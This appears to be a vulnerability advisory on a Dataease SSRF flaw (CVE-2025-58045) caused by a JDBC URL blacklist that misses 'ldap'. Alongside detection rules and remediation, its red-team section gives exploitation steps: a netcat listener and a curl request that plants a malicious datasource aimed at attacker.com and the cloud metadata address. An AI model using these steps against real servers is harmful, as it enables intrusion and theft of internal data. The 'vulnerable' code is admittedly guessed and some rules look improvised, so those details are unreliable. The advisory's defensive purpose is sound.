CVE-2025-58045

Executive Summary

CVE-2025-58045 is a Server-Side Request Forgery (SSRF) vulnerability in Dataease, an open-source data analytics and visualization platform. The vulnerability exists in versions up to and including 2.10.12. The issue stems from an incomplete patch for a previous DB2 JDBC deserialization remote code execution (RCE) vulnerability. The original patch only blacklisted the rmi parameter in the DB2 JDBC connection string, but failed to filter the ldap parameter. This oversight allows an attacker to craft a malicious DB2 JDBC connection string that triggers an LDAP query, resulting in SSRF. While higher versions of Java disable LDAP deserialization by default (preventing RCE), the SSRF vector remains exploitable, allowing attackers to probe internal networks, access cloud metadata endpoints, or interact with other internal services. The vulnerability is fixed in version 2.10.13.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). However, Dataease is a Java-based application that may pull in dependencies via Maven or Gradle. The core issue is in the application's own code handling of JDBC connection strings, not in a third-party library. Users should ensure their Java runtime is up-to-date to mitigate potential deserialization risks, though the primary concern here is SSRF.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - No user action is required.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) - SSRF can lead to disclosure of sensitive internal data.
• Integrity Impact: None (I:N) - The attacker cannot modify data.
• Availability Impact: None (A:N) - The attacker cannot cause a denial of service.

Threat Level: High. The vulnerability is easily exploitable, requires no authentication, and can lead to significant information disclosure via SSRF.

Deep Dive & Mechanics

The vulnerability lies in how Dataease handles DB2 JDBC connection strings. When a user configures a data source, the application parses the JDBC URL. A previous patch attempted to prevent deserialization-based RCE by blacklisting the rmi parameter. However, the ldap parameter was not included in this blacklist.

An attacker can craft a JDBC URL like:

jdbc:db2://attacker-controlled-server:50000/test:ldap://internal-target:389/;

When Dataease attempts to establish a connection using this URL, the DB2 JDBC driver processes the ldap parameter. This causes the server to make an LDAP query to the attacker-specified target. This is a classic SSRF vector.

Why RCE is not directly possible (in most cases): In modern Java versions (8u191+, 11.0.1+, etc.), the com.sun.jndi.ldap.object.trustURLCodebase property is set to false by default. This prevents the JNDI lookup from loading remote classes, thus blocking deserialization-based RCE. However, the LDAP query itself still occurs, enabling SSRF.

SSRF Impact: The attacker can:

• Scan internal network ports.
• Access cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ on AWS).
• Interact with internal services (e.g., databases, APIs).
• Potentially read files if the LDAP server returns file content (though this is less common).

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.10.12): The vulnerable code likely exists in a method that parses JDBC connection strings. It would have a blacklist check like:

if (jdbcUrl.contains("rmi")) {
    throw new SecurityException("RMI not allowed");
}

This only checks for rmi, leaving ldap unblocked.

Patched Code (2.10.13): The patched code adds a check for the ldap parameter:

if (jdbcUrl.contains("rmi") || jdbcUrl.contains("ldap")) {
    throw new SecurityException("RMI and LDAP not allowed");
}

Alternatively, a more robust approach would be to use a whitelist of allowed JDBC parameters or to properly sanitize the URL.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Dataease instance (version <= 2.10.12).
• An attacker-controlled server to receive the LDAP query (or to observe the SSRF).
• Knowledge of an internal target (e.g., an internal web server, cloud metadata endpoint).

Exploitation Steps:

1. Set up a listener: On your attacker machine, start a netcat listener to observe incoming connections:

   nc -lvnp 389
   

   Or use a simple HTTP server to log requests:

   python3 -m http.server 8080
   

2. Craft the malicious JDBC URL:

   jdbc:db2://your-attacker-server:50000/test:ldap://internal-target:389/;
   

   Replace your-attacker-server with your IP, and internal-target with the target you want to probe (e.g., 169.254.169.254 for AWS metadata).

3. Inject the URL: In the Dataease interface, navigate to the data source configuration and enter the crafted JDBC URL. Alternatively, if there is an API endpoint to create data sources, send a POST request with the malicious URL.

4. Trigger the connection: Save the data source or perform an action that causes Dataease to test the connection. The server will make an LDAP query to the target.

5. Observe the SSRF: On your listener, you should see a connection attempt from the Dataease server to the internal target. For example, if targeting AWS metadata, you might see an HTTP request to http://169.254.169.254/latest/meta-data/.

Example cURL command (if API is used):

curl -X POST http://target-dataease/api/v1/datasource \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious",
    "type": "db2",
    "configuration": {
      "jdbcUrl": "jdbc:db2://attacker.com:50000/test:ldap://169.254.169.254:80/;"
    }
  }'

Blue Team (Detection & Response)

Detection:

• Monitor for outbound LDAP connections (port 389/636) from the Dataease server to unexpected internal or external hosts.
• Monitor for JDBC connection strings containing ldap:// in application logs.
• Monitor for unusual outbound connections from the Dataease server to internal IPs (e.g., 169.254.169.254, 10.x.x.x, 172.x.x.x, 192.168.x.x).

Response:

1. Isolate the affected server from the network to prevent further SSRF.
2. Review logs to identify the malicious data source and the attacker's IP.
3. Remove the malicious data source from the Dataease configuration.
4. Upgrade Dataease to version 2.10.13 or later.
5. Scan for other potential SSRF vectors in the environment.
6. If sensitive data was exfiltrated, follow incident response procedures.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound LDAP connections (port 389/636) from the Dataease server to unexpected hosts.
  • Outbound HTTP/HTTPS connections from the Dataease server to internal IPs (e.g., 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • JDBC connection strings in logs containing ldap://.

• Host IOCs:

  • Dataease application logs showing errors related to JDBC connection failures with ldap in the URL.
  • Unusual processes or network connections initiated by the Java process running Dataease.

• File IOCs:

  • Dataease configuration files containing malicious JDBC URLs.

Detection Engineering

YARA Rule

rule CVE_2025_58045_SSRF_Dataease {
    meta:
        description = "Detects malicious DB2 JDBC connection strings with ldap parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58045"
        hash = "N/A"
    strings:
        $jdbc_db2 = /jdbc:db2:\/\/[^:]+:\d+\/[^:]*:ldap:\/\// nocase
        $ldap_param = /:ldap:\/\// nocase
    condition:
        $jdbc_db2 or $ldap_param
}

Sigma Rule

title: CVE-2025-58045 Dataease SSRF via DB2 JDBC LDAP Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects outbound LDAP connections from Dataease server, indicating SSRF exploitation.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58045
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort: 389
        Image|endswith: '\java.exe'
    condition: selection
falsepositives:
    - Legitimate LDAP connections to internal directory services (if Dataease is configured to use them)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 389 (msg:"CVE-2025-58045 Dataease SSRF - Outbound LDAP from Dataease Server"; flow:to_server; content:"|0f|"; depth:1; content:"|00 00 00|"; distance:0; within:3; reference:cve,2025-58045; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade Dataease to version 2.10.13 or later. This is the only fully effective fix.

Mitigation (if upgrade is not immediately possible):

• Network Segmentation: Restrict outbound network access from the Dataease server. Use a firewall to block outbound connections to ports 389 (LDAP) and 636 (LDAPS) unless explicitly required.
• Web Application Firewall (WAF): Deploy a WAF rule to block JDBC connection strings containing ldap://.
• Input Validation: If you have access to the source code, add a check for the ldap parameter in the JDBC URL parser.
• Monitor Logs: Actively monitor for the IOCs listed above.

Long-Term Recommendations:

• Implement a whitelist of allowed JDBC parameters instead of a blacklist.
• Regularly update all software components, including the Java runtime.
• Conduct regular security assessments and penetration testing.

Valters IT